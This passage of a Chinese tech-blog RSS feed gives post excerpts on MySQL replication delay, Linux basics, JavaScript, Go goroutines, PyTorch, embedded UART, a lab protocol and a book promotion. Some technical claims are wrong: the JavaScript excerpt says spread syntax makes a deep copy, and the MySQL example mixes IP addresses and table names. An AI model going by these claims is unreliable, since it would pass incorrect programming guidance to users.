      <link>https://bchobby.github.io/posts/605fd5979ea08ca8a994ed0bda2f27c1/</link>
      <pubDate>Mon, 18 Dec 2023 22:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/605fd5979ea08ca8a994ed0bda2f27c1/</guid>
      <description>背景 读写分离是快速提高数据库性能的手段，主库只负责写入，从库负责查询。但在性能得到提升的同时，编程的复杂度就会提升。由其碰到主从同步延迟的情况，在数据写入后，在从库无法读取到最新数据，会对业务逻辑造成很大的影响。那么，我们如何发现主从延迟对业务有什么延续呢，那就需要人为的制造延迟，将问题暴露出来。&#xA;制造主从延迟 Mysql的主从配置支持设置主从延迟时间change replication source to source_delay = interval; interval是以秒来计算。下面我们测试一下这个配置的效果。&#xA;服务器配置 Mysql 8.0.35&#xA;主库服务器：192.168.0.101&#xA;从库服务器：192.168.0.102&#xA;在从库上配置主库信息，并设置延迟时间为30秒，然后查看从库状态，就能看到同步已经就绪。&#xA;mysql&amp;gt; change replication source to master_host =&#39;192.168.50.101&#39;,master_port =3306,master_user =&#39;sync&#39;,master_password =&#39;Abcd123!&#39;,master_log_file =&#39;binlog.000002&#39;,master_log_pos =2266,source_delay = 30; mysql&amp;gt; start slave; mysql&amp;gt; show slave status\\G *************************** 1. row *************************** Slave_IO_State: Waiting for source to send event Master_Host: 192.168.50.101 Master_User: sync **Slave_IO_Running: Yes Slave_SQL_Running: Yes SQL_Delay: 30** 在主库创建一个表，并插入一条数据。&#xA;mysql&amp;gt; create table t1 (id bigint); mysql&amp;gt; insert into a values (2); 再查看从库状态，发现从库已经开始延迟了Seconds_Behind_Master表示延迟时间22秒，SQL_Remaining_Delay表示延迟同步还剩余9秒，Slave_SQL_Running_State表示线程状态在等待延迟结束。</description>
    </item>
    <item>
      <title>软件测试培训三个月，想找到工作，到底应该怎么搞</title>
      <link>https://bchobby.github.io/posts/e12cd17961f173be194569eba4a67019/</link>
      <pubDate>Mon, 18 Dec 2023 22:21:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e12cd17961f173be194569eba4a67019/</guid>
      <description>功能方面：问的最多的就是测试流程，测试计划包含哪些内容，公司人员配置，有bug开发认为不是 bug怎么处理，怎样才算是好的用例，测试用例设计方法（等价类，边界值等概念方法），包含哪些内 容，怎样保证用例覆盖全面，马上要上线了发现bug怎么处理，怎么判断产品是否能上线，怎么做冒烟测试，水杯，椅子，笔啥的怎么 测试，支付，登录，身份证输入框，计算器测试点。。。。怀疑人生中&#xA;性能：做过性能测试吗，web和app性能，web学过jmeter做并发，app用gt，wetest。分别关注哪些指标，怎么判定有性能问题。。。。。这个坑比较大，讲不了太深，怀疑人生中&#xA;兼容性怎么做：app关注手机类型，版本，分辨率，系统。BS架构关注浏览器类型，版本&#xA;linux：一般问一下常规的命令，还有问会不会搭建环境这些-----常规命令背个几十个&#xA;数据库：增删改查，多表查询，where和having区别，delete和drop，truncate区别，视图是什么，varchar和char区别，左连接，去重等等。反正我觉得数据库在面试官这分值还是挺高的，起码的基本知识一定要过关&#xA;网络知识：tcp/ip，get/post区别，tcp/udp区别，tcp三次握手，4次挥手，cookie/session区别，7层模型，dns解析，https/http区别，url输入，敲回车键到页面出现过程发生什么，请求头和响应头有哪些内容&#xA;抓包：抓包原理是什么，怎么抓https，断点，修改请求响应时间怎么操作，模拟弱网&#xA;语言：shell，python。shell学的一般般，只是说了解，python问的比较多，is与==区别，字符串，列表，字典等概念，99乘法表，1到100求和，列表去重，冒泡排序，读写文件，1到100取出包含3或7数字，字符串切割等等&#xA;web自动化：selenium工具，架构，哪些元素定位方法，xpath和css区别，显示等待，隐式等待，强制等待区别，自动化框架，unitest测试框架相关的知识，原理，装饰器，批量执行，生成报告，发邮件，打印日志等等。。。不扎实，怀疑人生，还得好好学习&#xA;职业相关的：背景调查，让你说优缺点（说缺点一定要小心），上家公司为啥离职，职业规划，谈薪资，看中公司哪些方面啥的，走到这一步了由其要格外小心，一不小心就入坑了，前功尽弃就可惜了&#xA;总的来说，找到工作还是非常的开心的，本人14届大专学历，学了三个月，一点不假魔鬼训练，找工作半个月，面试10几家，过了5家,最高14k（去了就要做自动化，感觉hold不住哈哈）选择一家比较近的，11k。希望后面工作顺利，面试过程中碰到的这些问题后面也会陆续补充答案下来，希望对找软测的小伙伴有个参考，学习资料整理好，需要的后面也可以发给大家。&#xA;自动化测试相关教程推荐： 2023最新自动化测试自学教程新手小白26天入门最详细教程,目前已有300多人通过学习这套教程入职大厂！！_哔哩哔哩_bilibili 2023最新合集Python自动化测试开发框架【全栈/实战/教程】合集精华，学完年薪40W+_哔哩哔哩_bilibili 测试开发相关教程推荐 2023全网最牛，字节测试开发大佬现场教学，从零开始教你成为年薪百万的测试开发工程师_哔哩哔哩_bilibili postman/jmeter/fiddler测试工具类教程推荐 讲的最详细JMeter接口测试/接口自动化测试项目实战合集教程，学jmeter接口测试一套教程就够了！！_哔哩哔哩_bilibili 2023自学fiddler抓包，请一定要看完【如何1天学会fiddler抓包】的全网最详细视频教程！！_哔哩哔哩_bilibili 2023全网封神，B站讲的最详细的Postman接口测试实战教学，小白都能学会_哔哩哔哩_bilibili 总结： 光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。 如果对你有帮助的话，点个赞收个藏，给作者一个鼓励。也方便你下次能够快速查找。&#xA;如有不懂还要咨询下方小卡片，博主也希望和志同道合的测试人员一起学习进步&#xA;在适当的年龄，选择适当的岗位，尽量去发挥好自己的优势。&#xA;我的自动化测试开发之路，一路走来都离不每个阶段的计划，因为自己喜欢规划和总结，&#xA;测试开发视频教程、学习笔记领取传送门！！</description>
    </item>
    <item>
      <title>02什么是CPU上下文切换</title>
      <link>https://bchobby.github.io/posts/7ad46613d85dc5768aaf73aadec0b09c/</link>
      <pubDate>Mon, 18 Dec 2023 21:11:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ad46613d85dc5768aaf73aadec0b09c/</guid>
      <description>上⼀节， 讲了要怎么理解平均负载（ Load Average） ， 并⽤三个案例展示了不同场景下平均负载升⾼的分析⽅法。 这其中， 多个进程竞争 CPU 就是⼀个经常被我们忽视的问题。&#xA;1、CPU上下文切换的概念 我想你⼀定很好奇， 进程在竞争 CPU 的时候并没有真正运⾏， 为什么还会导致系统的负载升⾼呢？ 看到今天的主题， 你应该已经猜到了， CPU 上下⽂切换就是罪魁祸⾸。&#xA;我们都知道， Linux 是⼀个多任务操作系统， 它⽀持远⼤于 CPU 数量的任务同时运⾏。 当然， 这些任务实际上并不是真的在同时运⾏， ⽽是因为系统在很短的时间内， 将 CPU 轮流分配给它们， 造成多任务同时运⾏的错觉。&#xA;⽽在每个任务运⾏前， CPU 都需要知道任务从哪⾥加载、 ⼜从哪⾥开始运⾏， 也就是说， 需要系统事先帮它设置好 CPU 寄存器和程序计数器（Program Counter， PC） 。&#xA;CPU 寄存器， 是 CPU 内置的容量⼩、 但速度极快的内存。 ⽽程序计数器， 则是⽤来存储 CPU 正在执⾏的指令位置、 或者即将执⾏的下⼀条指令位置。 它们都是 CPU 在运⾏任何任务前， 必须的依赖环境， 因此也被叫做 CPU 上下⽂。&#xA;知道了什么是 CPU 上下⽂， 我想你也很容易理解 CPU 上下⽂切换。 CPU 上下⽂切换， 就是先把前⼀个任务的 CPU 上下⽂（也就是 CPU 寄存器和程序计数器） 保存起来， 然后加载新任务的上下⽂到这些寄存器和程序计数器， 最后再跳转到程序计数器所指的新位置， 运⾏新任务。</description>
    </item>
    <item>
      <title>我们应该知道的 10 个高级 JavaScript 技巧</title>
      <link>https://bchobby.github.io/posts/43effa3fe2d0e7409d9b623cc9f62419/</link>
      <pubDate>Mon, 18 Dec 2023 21:07:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43effa3fe2d0e7409d9b623cc9f62419/</guid>
      <description>我们应该知道的 10 个高级 JavaScript 技巧 解构赋值 赋值解构是一种从数组或对象中提取值并将其分配给变量的简洁方法。&#xA;它简化了您的代码并提高了可读性。对于数组，可以使用括号表示法，对于对象可以使用大括号。&#xA;// 解构数组 const [firstItem, secondItem, ...rest] = [1,2,3,4,5]; console.log(firstItem); // 1 console.log(secondItem); // 2 console.log(rest); // [3, 4, 5] // 解构对象 const {name, age, ...details} = { name: &#34;leo&#34;, age: 25, phone: &#39;xxx&#39;, address: &#39;xxx&#39; } console.log(name); // leo console.log(age); // 25 console.log(details) // {phone: &#39;xxx&#39;, address: &#39;xxx&#39;} 扩展语法 我们可以使用扩展语法(…)将数组的元素或对象的属性扩展到另一个数组或对象。&#xA;这对于制作副本、合并对象以及将多个参数传递给函数非常有用。&#xA;使用扩展语法生成的新对象是深拷贝，也就是改变原对象并不会影响到扩展对象&#xA;// 复制数组 const originalArray = [1,2,3]; const newArray = [.</description>
    </item>
    <item>
      <title>【Linux】Linux运维基础</title>
      <link>https://bchobby.github.io/posts/9137d028038eab281286261cb2194236/</link>
      <pubDate>Mon, 18 Dec 2023 20:20:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9137d028038eab281286261cb2194236/</guid>
      <description>Linux简介：&#xA;Linux是一个开源的操作系统内核，最初由Linus Torvalds创建。它通常与GNU工具一起使用，以创建一个完整的操作系统。Linux操作系统有许多基于内核的发行版，如Ubuntu、CentOS、Debian等，每个发行版都有其独特的特性和包管理工具。 登录和用户管理：&#xA;使用SSH（Secure Shell）协议远程登录到Linux服务器，确保安全的远程访问。添加新用户，可以使用useradd命令，并使用passwd命令设置密码。修改和删除用户帐户，可以使用usermod和userdel命令。 文件系统和目录结构：&#xA;Linux文件系统使用层次结构，根目录（/）是整个文件系统的顶级目录。一些重要的目录包括：/home（用户家目录）、/tmp（临时文件目录）、/var（变量数据）等。使用命令如ls、cd、pwd来浏览和管理文件和目录。 文件权限和所有权：&#xA;每个文件和目录都有权限设置，包括读（r）、写（w）、执行（x）权限，可以使用chmod命令修改这些权限。所有权由用户和组来定义，可以使用chown命令更改文件和目录的所有权。 软件包管理：&#xA;使用包管理工具来安装、更新和删除软件包。例如，Debian和Ubuntu使用apt，CentOS使用yum。确保软件包的安全性和稳定性，通过签名验证和源的管理。 进程管理：&#xA;使用ps命令查看运行中的进程列表，top命令实时监控系统资源使用情况。使用kill命令终止进程，可以通过进程ID（PID）或名称。使用&amp;amp;运算符将命令放在后台运行，或使用nohup命令以保持进程在用户退出后继续运行。 系统日志和故障排除：&#xA;Linux系统产生各种日志文件，位于/var/log目录中。例如，/var/log/syslog和/var/log/auth.log。使用命令如tail和grep来查看和分析日志以诊断问题。 网络配置和管理：&#xA;配置网络接口、IP地址和子网掩码，可以使用ifconfig、ip和配置文件（如/etc/network/interfaces）。使用netstat、ss等命令查看和管理网络连接。 安全性：&#xA;配置防火墙以控制入站和出站流量，常用的防火墙工具包括iptables和firewalld。定期更新系统和软件包，以弥补安全漏洞。使用SSH密钥对替代密码登录以提高安全性。 备份和恢复：&#xA;创建和管理备份，确保数据的安全性。常用的备份工具包括rsync和tar。使用定期备份策略，包括完全备份和增量备份。 性能监控和优化：&#xA;使用工具如top、htop、iostat和vmstat来监控系统性能。优化系统资源分配以提高性能，可以通过调整内核参数和进程优先级来实现。 自动化任务：&#xA;使用cron作业来定期运行任务，通过编辑crontab文件来管理。编写Shell脚本以自动化常见任务，例如备份、日志清理和监控。 系统更新和升级：&#xA;定期更新操作系统和软件包，以确保安全性和性能。命令如apt update &amp;amp;&amp;amp; apt upgrade（对于Debian/Ubuntu）和yum update（对于CentOS）用于更新系统。 硬件管理：&#xA;监控硬件状态，如磁盘空间、内存使用和CPU负载，可以使用df、free和top等命令。添加和配置硬件设备，例如磁盘、网络适配器等，可以使用udev来自动检测和配置。 登录和用户管理：&#xA;使用SSH远程登录到Linux服务器：&#xA;ssh username@hostname 添加新用户：&#xA;sudo useradd newuser 设置用户密码：&#xA;sudo passwd newuser 修改和删除用户帐户：&#xA;sudo usermod -aG groupname username sudo userdel username 文件系统和目录结构：&#xA;浏览和管理文件和目录：ls # 列出当前目录的内容 cd # 切换目录 pwd # 显示当前工作目录的路径 文件权限和所有权：&#xA;修改文件权限：&#xA;chmod permissions filename 修改文件所有权：</description>
    </item>
    <item>
      <title>01到底应该怎么理解“平均负载”</title>
      <link>https://bchobby.github.io/posts/e224810e90cce3ff4ebb5ad50c93e311/</link>
      <pubDate>Mon, 18 Dec 2023 20:14:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e224810e90cce3ff4ebb5ad50c93e311/</guid>
      <description>1、如何了解系统的负载情况？ 每次发现系统变慢时， 我们通常做的第⼀件事， 就是执⾏top或者uptime命令， 来了解系统的负载情况。 ⽐如像下⾯这样， 我在命令⾏⾥输⼊了uptime命令， 系统也随即给出了结果。&#xA;$ uptime 02:34:03 up 2 days, 20:14, 1 user, load average: 0.63, 0.83, 0.88 它们分别是当前时间、 系统运⾏时间以及正在登录⽤户数。&#xA;02:34:03 //当前时间 up 2 days, 20:14 //系统运行时间 1 user //正在登录用户数 ⽽最后三个数字呢， 依次则是过去1分钟、 5分钟、 15分钟的平均负载（Load Average） 。&#xA;2、什么是平均负载？ 平均负载？ 这个词对很多⼈来说， 可能既熟悉⼜陌⽣， 我们每天的⼯作中， 也都会提到这个词， 但你真正理解它背后的含义吗？&#xA;我猜⼀定有⼈会说， 平均负载不就是单位时间内的 CPU 使⽤率吗？ 上⾯的0.63， 就代表CPU使⽤率是63%。 其实并不是这样， 如果你⽅便的话， 可以通过执⾏man uptime命令， 来了解平均负载的详细解释。&#xA;简单来说， 平均负载是指单位时间内， 系统处于可运⾏状态和不可中断状态的平均进程数， 也就是平均活跃进程数， 它不仅包括了****正在使用CPU的进程*，还包括了*等待CPU*和*等待I/O****的进程。它和CPU使⽤率并没有直接关系。 这⾥我先解释下， 可运⾏状态和不可中断状态这俩词⼉。&#xA;所谓可运⾏状态的进程， 是指正在使⽤CPU或者正在等待CPU的进程， 也就是我们常⽤ps命令看到的， 处于R状态（Running 或 Runnable） 的进程。</description>
    </item>
    <item>
      <title>蛋白质实验（G-actin 聚集到 F-actin）</title>
      <link>https://bchobby.github.io/posts/6555e96267b9770535ad1ef1f27438d8/</link>
      <pubDate>Mon, 18 Dec 2023 19:53:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6555e96267b9770535ad1ef1f27438d8/</guid>
      <description>参考：&#xA;Pardee J.D., and Spudich, J.A. 1982. Methods in Cell Biol. 24:271-288.https://www.cytoskeleton.com/pdf-storage/datasheets/bsa01.pdfhttps://www.cytoskeleton.com/pdf-storage/datasheets/bsa02.pdfhttps://www.cytoskeleton.com/pdf-storage/datasheets/akl99.pdfhttps://www.jove.com/t/55613/measuring-protein-binding-to-f-actin-by-co-sedimentation?language=Chinese Biochemistry 通过共沉淀测量蛋白与F-肌动蛋白的结合 Published: May 18, 2017 doi: 10.3791/55613 宗旨：&#xA;实验操作全流程干燥低温，避免反复冷冻解冻；离心管用不到了就放冰袋上，减少用手接触次数；密封保存是指密封膜+双层密封袋+有色硅胶ATP，DTT粉末密封保存在-20度，半年一换（未开封可存放两年）；含有ATP的溶液2小时一换；蛋白质样品密封保存在-70度，三个月一换G-Buffer溶液理论上可在-20摄氏度密封保存1年，P-Buffer溶液理论上可以在-70摄氏度密封保存1年，每次使用时再加入ATP，DTT便可使用；但是建议每次实验重新配置，不要用上一次剩余的溶液 x.1 制备 General Actin Buffer(G-Buffer) General Actin Buffer 的参考链接如下：https://www.cytoskeleton.com/pdf-storage/datasheets/bsa01.pdf&#xA;理论配置条件：100ml of sterile de-ionized water to give a 1X strength buffer; 0.2 mM calcium chloride, 5 mM Tris-HCl ; 0.2 mM ATP; pH 8.0&#xA;实际配置条件：0.2mM/L 氯化钙 + 5mM/L Tris-HCl + 0.2 mM/L ATP + 0.5mM/L DTT，pH 8.0 ，具体见下表</description>
    </item>
    <item>
      <title>树莓派Pico_串口</title>
      <link>https://bchobby.github.io/posts/68138032233966f2c455fe2680483e7f/</link>
      <pubDate>Mon, 18 Dec 2023 17:50:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68138032233966f2c455fe2680483e7f/</guid>
      <description>本串口程序程序默认uart0&#xA;程序调用链：&#xA;stdio_init_all -&amp;gt; stdio_uart_init -&amp;gt; uart_init #include &amp;lt;stdio.h&amp;gt; #include &#34;pico/stdlib.h&#34; int main() { stdio_init_all(); while (true) { printf(&#34;Hello, world!\n&#34;); sleep_ms(1000); } } bool stdio_init_all(void) { // todo add explicit custom, or registered although you can call stdio_enable_driver explicitly anyway // These are well known ones bool rc = false; #if LIB_PICO_STDIO_UART stdio_uart_init(); rc = true; #endif #if LIB_PICO_STDIO_SEMIHOSTING stdio_semihosting_init(); rc = true; #endif #if LIB_PICO_STDIO_USB rc |= stdio_usb_init(); #endif return rc; } void stdio_uart_init() { uart_init(uart_default, 0); } 此处uart_default被定义为：#define uart_default uart0</description>
    </item>
    <item>
      <title>关于nn.upsample在GPU上无法兼容BFloat16的问题</title>
      <link>https://bchobby.github.io/posts/49f3746386616986088965860ce59d36/</link>
      <pubDate>Mon, 18 Dec 2023 17:20:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49f3746386616986088965860ce59d36/</guid>
      <description>在CNN中，nn.upsample常用于上采样操作，尤其是最近大火的扩散模型中，UNet网络的上采样均是采用这个操作执行该任务。尽管如此，nn.upsample在GPU上运行时，与torch.bfloat16会发生冲突，常给出这样的错误：RuntimeError:“upsample_nearest2d_out_frame” not implemented for ‘BFloat16’，从而导致很多高性能计算受阻。torch.bfloat16数据格式，是指&#34;Brain Floating Point&#34;格式占位16位，由Google Brain发明，专门为TPU研制，这种格式有很多优越的性能（详见https://cloud.google.com/tpu/docs/bfloat16?hl=zh-cn）；后面人们发现这种数据格式，在GPU框架下的训练速度很快，同时对性能影响很小。如Lightning库（https://lightning.ai/）专门为Pytorch加速时，常使用这种数据格式，我们尝试过，使用这种数据格式训练扩散模型，每迭代1000次，要比其他数据格式快10s左右（在3090上）。因此，这个数据格式nn.upsample这个类在GPU上计算不兼容，将极大地影响学习进程。注意：只是在GPU上，会冲突，在CPU上不会冲突。即：&#xA;import torch.nn as nn data=torch.rand(4,3,8,8,dtype=torch.bfloat16) up = nn.Upsample(scale_factor=2.0, mode=&#34;nearest&#34;) output_up = up(data) 在CPU上，上面这个运行是没有问题的，但是如果在GPU上，如：&#xA;data=torch.rand(4,3,8,8,dtype=torch.bfloat16).to(&#39;cuda:0&#39;) up = nn.Upsample(scale_factor=2.0, mode=&#34;nearest&#34;).to(&#39;cuda:0&#39;) output = up(data) 这将产生一个错误：RuntimeError: “upsample_nearest2d_out_frame” not implemented for ‘BFloat16’，这个错误的意思，就是在GPU上，upsample与BFloat16格式不匹配。而如果使用其他模式呢？如：mode=‘linear’（3D上采样）, ‘bilinear’（4D上采样）, ‘bicubic’（4D上采样） and ‘trilinear’(5D上采样)，都会产生这样的错误。那有什么解决这个问题呢？这是深层的bug，很难根治，但我们可以重写mode=&#39;nearest’下的上采样，具体如下：&#xA;class UpsampleDeterministic(nn.Module): def __init__(self,upscale=2): super(UpsampleDeterministic, self).__init__() self.upscale = upscale def forward(self, x): &#39;&#39;&#39; x: 4-dim tensor. shape is (batch,channel,h,w) output: 4-dim tensor. shape is (batch,channel,self.upscale*h,self.upscale*w) &#39;&#39;&#39; return x[:, :, :, None, :, None]\ .</description>
    </item>
    <item>
      <title>Go 中 for循环内使用协程的变量值脏读问题</title>
      <link>https://bchobby.github.io/posts/aab3596ac56515cbb1b5990dfe30318a/</link>
      <pubDate>Mon, 18 Dec 2023 16:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aab3596ac56515cbb1b5990dfe30318a/</guid>
      <description>问题代码 每个学Go的都要踩的坑。&#xA;如下代码的输出， 我们在 for 循环中，使用了协程（go runtime）。&#xA;package main import ( &#34;fmt&#34; &#34;time&#34; ) func main() { values := []string{&#34;a&#34;, &#34;b&#34;, &#34;c&#34;} for _, v := range values { go func() { fmt.Println(v) }() } time.Sleep(3 * time.Second) } 结果是&#xA;不是预想的 a，b， c 乱序&#xA;原因：因为这里的v 是一个指针变量， 每次循环都会重新赋值， 再执行每次的fmt.Println(v) 之前，v 的值就被改了， 这里被坑惨了。。。&#xA;解决手段 重新声明一个变量，传给协程。 代码修改后&#xA;package main import ( &#34;fmt&#34; &#34;time&#34; ) func main() { values := []string{&#34;a&#34;, &#34;b&#34;, &#34;c&#34;} for _, v := range values { go func(v string) { fmt.</description>
    </item>
    <item>
      <title>深度学习——（6）pytorch冻结某些层的参数</title>
      <link>https://bchobby.github.io/posts/465908a45bb9e2f10f44e6bbb581f18e/</link>
      <pubDate>Mon, 18 Dec 2023 16:08:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/465908a45bb9e2f10f44e6bbb581f18e/</guid>
      <description>深度学习——（6）pytorch冻结某些层的参数 文章目录 深度学习——（6）pytorch冻结某些层的参数问题出现一探究竟try 1. 不加requires_gradtry 2. 使用原来的格式更改（上面提到的）try 3. 定义no_grad列表将部分层冻结 在加载预训练模型的时候，有时候想冻结前面几层，使其参数在训练过程中不发生变化（不进行反向传播） 问题出现 在之前的blog——VGG16 图像分类中，使用如下语法&#xA;net = vgg(model_name=model_name, num_classes=1000,init_weights=True) # 没有训练好的权重，需要加载ImageNet的权重 net.load_state_dict(torch.load(pre_path, map_location=device)) for parameter in net.parameters(): parameter.requires_grad = False 注：上面语句的含义我的理解是将所有的层都冻结&#xA;但是，出现了一个神奇的问题，当我打印每一层是否已经冻结，所有层的require_grad都显示为True。**&#xA;这，这不就是意思把真个model已知都在反向传播吗？？那我加载权重干什么？？为了一探究竟，所以做了下面的尝试，想看看到底这个requires_grad是怎么一回事？&#xA;一探究竟 try 1. 不加requires_grad 当不加requires_grad的时候（上面代码不加后面两行），默认requires_grad=True，训练时候的loss值应该会很大，看看结果如何&#xA;确实很大！！！&#xA;try 2. 使用原来的格式更改（上面提到的） 如果使用前面提到的，那应该所有的参数都被冻结了，loss应该不会像上面那么大了，但是打印每一层的grad依然显示True。——反正就神奇！&#xA;for parameter in net.parameters(): #requires_grad==False 才不会反向传播，只训练下面部分（微调） parameter.requires_grad = False for name, value in net.named_parameters(): print(&#39;name: {0},\t grad: {1}&#39;.format(name, value.requires_grad)) try 3. 定义no_grad列表将部分层冻结 这才是我的初衷，师兄也和我说先冻结前面的层，对后面的分类进行整体学习，然后放开全局进行微调。所以我的意愿是先冻结feature层进行学习。&#xA;no_grad = [&#39;features.0.weight&#39;,&#39;features.0.bias&#39;, &#39;features.2.weight&#39;,&#39;features.2.bias&#39;, &#39;features.5.weight&#39;,&#39;features.5.bias&#39;, &#39;features.</description>
    </item>
    <item>
      <title>【企业转型】以企业架构为中心的SABOE数字化转型五环法</title>
      <link>https://bchobby.github.io/posts/e330076eae9d525c5af539360b3d1147/</link>
      <pubDate>Mon, 18 Dec 2023 15:36:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e330076eae9d525c5af539360b3d1147/</guid>
      <description>01 传统企业数字化转型面临诸多挑战 即将过去的2023年，chatGPT大模型、数据资产入表等事件的发生，标志着数字经济正在加速发展。数字经济是人类社会继农业经济、工业经济之后的第三种经济形态，将推动生产方式、生活方式和治理方式深刻变革，对于国家、企业和个人都将产生重大影响。当前，我们正在处于迈向数字经济时代的关键阶段，企业和个人如何才能抓住这一重大机遇实现快速发展而不是被时代淘汰呢？这是值得我们每一个企业、每一个人关注和思考的问题。&#xA;国家高度重视数字经济发展，将发展数字经济作为发展新动能。2021年3月，国家发布《国民经济和社会发展第十四个五年规划和2035年远景目标纲要》，提出要“加快数字化发展，建设数字中国”。今年3月份，中共中央和国务院又印发了《数字中国建设整体布局规划》，吹响了全面建设数字中国、实现中国式现代化的号角。&#xA;随着数字经济的蓬勃发展，许多企业开始进行数字化转型，希望抓住时代机遇，实现华丽转身。但这一过程并不是一帆风顺的，会面临许多挫折甚至失败。根据世界著名咨询公司麦肯锡的数据，传统企业数字化转型的失败率非常高，甚至高达80%的企业都会经历失败。&#xA;为什么会这样呢？数字化转型是要通过数据和数字技术赋能实现业务变革，但很多企业都面临着战略缺失或不落地、业务流程割裂、数据孤岛、数据质量差、业务和科技两张皮、系统竖井林立等老大难问题。这些问题是多年发展中遗留下来的问题，可谓沉疴痼疾，阻碍了企业数字化转型的步伐。&#xA;02 SABOE数字化转型五环法为企业转型破除迷雾 那么企业如何实现有效的数字化转型？数字化转型其实是一项非常复杂的系统工程，需要一整套的方法论进行指导。国资委在《关于加快推进国有企业数字化转型工作的通知》中就明确指出：“加快企业数字化治理模式、手段、方法升级，以企业架构为核心构建现代化IT治理体系，促进IT投资与业务变革发展持续适配。”&#xA;SABOE数字化转型五环法就是一套以企业架构为核心的、端到端覆盖数字化转型全过程的方法论，它是企业架构和数字化转型专家武艳军先生以近20年的企业信息化工作经验和央企、银行数字化转型实践经验凝练而成。&#xA;SABOE数字化转型五环法，如下图所示。之所以称为五环法，是因为它主要是由5个环节来构成的，包括数字化战略（Strategy）、数字化架构设计（Architecture），数字化建设（Build）、数字化运营（Operation）和数字化评估（Evaluation），SABOE就是由五个单词的首字母组合而成。&#xA;传统企业数字化转型会存在很多误区，比如将数字化转型当做科技部门的事情，或者认为做几个数字化项目就行了，项目上线就转型成功了。或者让业务部门和科技部门各行其是，百花齐放。这些误区会导致企业投入了大量资源却难以见到转型效果，数字化转型成为一场运动。&#xA;SABOE数字化转型五环法认为，企业数字化转型要真正见效，并为企业长远发展奠定坚实基础，必须要关注五个方面：&#xA;一、企业转型从制定数字化战略开始，以战略指引企业的转型方向，并由企业老板、管理层亲身参与推进。在战略方面，SABOE五环法提出了四看三定的战略规划方法，并介绍了华为采用的业务领先者模型BLM。&#xA;二、企业转型要在战略规划基础上进一步开展数字化架构设计，融合组织、流程、数据IT，形成完整架构蓝图，然后再进行相关的建设。在架构方面，SABOE五环法提出了DEAF数字化企业架构框架，融合和升级了等传统企业架构方法，具有数据化、智能化、敏捷化、生态化和体验化等五个特点，更加适应数字经济时代的需要。&#xA;三、在建设过程中，要严格遵循架构蓝图，保证一张蓝图绘到底。同时，重视变革管理，破除变革阻力，保证转型工作顺利推进。SABOE五环法介绍了项目群管理、架构管控、变革管理、目标管理以及组织能力建设、数据能力建设等方法及案例，帮助企业完成架构项目群的实施工作。&#xA;四、企业转型要重视运营工作，通过运营将数字化能力与业务实际结合起来，实现业务价值。SABOE五环法提出了数字化运营的框架和方法，帮助企业开展用户价值运营、内外协同运营和科技运营为一体的数字化运营工作。&#xA;五、企业转型是一个长期持续的过程，要定期复盘总结。通过数字化评估，企业可以明确现状、分析差距，明确下一步发展思路。SABOE五环法提出了数字化成熟度评估模型UDM，帮助企业开展科学的数字化评估工作。&#xA;此外，SABOE数字化转型五环法还提出了两大周期、五大原则，为企业转型工作提供指导。SABOE数字化转型五环法覆盖了从战略制定、架构设计、能力建设、日常运营到复盘评估等环节，能够为企业转型提供完整、全面的指导。这一方法论已经总结成一本书《企业架构驱动数字化转型：以架构为中心的端到端转型方法论》，由机械工业出版社于近期出版，并在京东上架。&#xA;如果你是：&#xA;企业的CIO、CDO、架构师和工程技术人员；&#xA;企业各级管理人员、业务人员，&#xA;企业数字化转型提供服务的咨询和技术服务人员，&#xA;高校信息化等相关领域的教师和学生。&#xA;那么强烈推荐你阅读这本《企业架构驱动数字化转型：以架构为中心的端到端转型方法论》&#xA;京东正版链接：https://item.jd.com/14260994.html&#xA;这是一本以企业架构为核心切入点的数字化转型著作，是作者近20年的企业架构和数字化转型经验的集大成。企业架构是企业数字化转型的底层方法论，作者首先提炼出了数字化企业的架构框架DEAF，然后据此向前后延伸，总结出SABOE数字化转型五环法，涵盖企业数字化转型从顶层设计到落地实施、从建设到运营、从效果评估到迭代改进各个方面，为企业提供端到端的方法论指导。&#xA;端到端覆盖企业数字化转型全过程，从数字化战略开始，重点介绍数字化架构设计，但没有止步于蓝图规划，而是进一步延伸到数字化建设和运营，并通过评估为下一阶段转型做好准备。&#xA;融合了多学科知识，引入战略管理、企业架构、数据管理、项目管理、运营管理、数字化成熟度评估等方法并融合创新，为企业提供全视角、全体系的数字化转型指导方法。&#xA;推荐理由 作者背景资深：资深企业架构师和数字化转型专家，曾在中国出口信用保险公司和百信银行担任PMO团队负责人、科技规划团队负责人和企业架构师。&#xA;作者经验丰富：从事信息化工作近20年，从IT架构再造到企业级业务架构设计和实施，从传统金融企业到一线互联网银行，对数字化时代的企业架构有深厚沉淀。&#xA;独创方法论：从实践中提炼出数字化企业架构框架DEAF和SABOE数字化转型方法论，让企业数字化转型不走弯路、有法可依。&#xA;源于实践总结：书中的方法论和经验全部来自作者在央企和一线互联网企业的实践总结，在实践中被证明有效。&#xA;大量模型框架：作者将各种方法和重要知识点，全部提炼为框架和模型图，便于读者理解，让读者的学习事半功倍。&#xA;大量名企案例：书中分析了建设银行、招商银行、网商银行、百信银行、平安集团、太平洋保险、中国人保、中国人寿、美的集团、华为、三一集团等近20家知名企业的数字化转型案例。</description>
    </item>
    <item>
      <title>0089__一条普遍存在于嵌入式实时系统(RTOS)中的嵌套使用互斥量的bug分析</title>
      <link>https://bchobby.github.io/posts/79f2894ecb21e63d60d9ef003e13b4aa/</link>
      <pubDate>Mon, 18 Dec 2023 15:31:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79f2894ecb21e63d60d9ef003e13b4aa/</guid>
      <description>一条普遍存在于嵌入式实时系统(RTOS)中的嵌套使用互斥量的bug分析_rt_mutex_take-CSDN博客</description>
    </item>
    <item>
      <title>【OpenCV】OpenCV4工业缺陷检测的六种方法</title>
      <link>https://bchobby.github.io/posts/31ecf0690848c77f43c3a4303eb752c0/</link>
